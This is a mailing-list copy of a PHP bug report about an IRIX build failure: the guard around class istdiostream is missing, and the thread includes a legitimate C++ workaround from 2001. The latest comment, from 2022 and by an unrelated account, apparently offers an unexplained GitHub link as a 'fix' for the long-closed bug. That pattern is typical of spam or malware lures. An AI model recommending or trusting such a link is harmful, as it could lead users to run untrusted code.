Bug #10263 [Com]: Use of istdiostream w/o HAVE_CLASS_ISTDIOSTREAM protection
| From: | allhddcomny at gmail dot com | Date: | Thu, 15 Dec 2022 06:42:36 +0000 |
| Subject: | Bug #10263 [Com]: Use of istdiostream w/o HAVE_CLASS_ISTDIOSTREAM protection | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-243146@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=10263&edit=1
ID: 10263
Comment by: allhddcomny at gmail dot com
Reported by: spc at sgi dot com
Summary: Use of istdiostream w/o HAVE_CLASS_ISTDIOSTREAM
protection
Status: Closed
Type: Bug
Package: iPlanet related
Operating System: SGI IRIX 6.5.x
PHP Version: 4.0.4pl1
Assigned To: zeev
Block user comment: N
Private report: N
New Comment:
You can fix this bug using this link https://github.com/allhddcomny/allhddcomny/tree/main
Previous Comments:
------------------------------------------------------------------------
[2001-08-18 12:05:52] zeev@php.net
We no longer use C++ for the thread safe scanner, as of 4.0.7 (due out soon), so this problem should
be gone.
------------------------------------------------------------------------
[2001-05-23 06:13:50] sniper@php.net
Assigning this to Zeev. He knows the Zend stuff best.
--Jani
------------------------------------------------------------------------
[2001-04-10 12:00:43] spc at sgi dot com
I am trying to build the NSAPI module for use on SGI MIPS/IRIX hardware, using
SGI's MIPSpro compilers (we provide binaries in SGI's "inst" format on our
Freeware web site at <URL:http://freeware.sgi.com>).
Since NSAPI is built
using the Zend Thread Safety enabled, some stdiostream code is included.
Configure is correctly determining that HAVE_STDIOSTREAM_H should be
defined (include file <stdiostream.h> is found), and that HAVE_CLASS_ISTDIOSTREAM should be
undefined (no class istdiostream exists in the compiler version I am using). This is correctly
being done in the main/php_config.h file. In the source file zend_language_scanner_cc.cc, there is
a section which reads
#if defined(ZTS) && !defined(HAVE_CLASS_ISTDIOSTREAM)
class istdiostream : public istream
{
private:
stdiobuf _file;
public:
istdiostream (FILE* __f) : istream(), _file(__f) { init(&_file); }
stdiobuf* rdbuf()/* const */ { return &_file; }
};
#endif
so that later code in that file will correctly build and work when class istdiostream is used.
In the source file zend_ini_scanner_cc.cc, though, the class istdiostream is
used in/around line 511, without the protection of HAVE_CLASS_ISTDIOSTREAM.
Since this class doesn't exist, the build fails.
I have been able to work around this by adding a section to the #ifdef ZTS
region starting in/around line 408:
#ifdef ZTS
# ifdef HAVE_STDIOSTR_H
# include <stdiostr.h>
# endif
# ifdef HAVE_STDIOSTREAM_H
# include <stdiostream.h>
# endif
# ifdef ZEND_WIN32
# include <strstrea.h>
# else
# include <strstream.h>
# endif
/* new stuff starts here.... */
# ifndef HAVE_CLASS_ISTDIOSTREAM
class istdiostream : public istream
{
private:
stdiobuf _file;
public:
istdiostream (FILE* __f) : istream(), _file(__f) { init(&_file); }
stdiobuf* rdbuf()/* const */ { return &_file; }
};
# endif
/* ... and ends here */
#endif
After this change, the NSAPI module successfully builds---I haven't had
the chance to test it yet.
regards,
Steve Crockett
spc@sgi.com
P.S. Is there a way to get information on the IRIX build of PHP into your manual?
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=10263&edit=1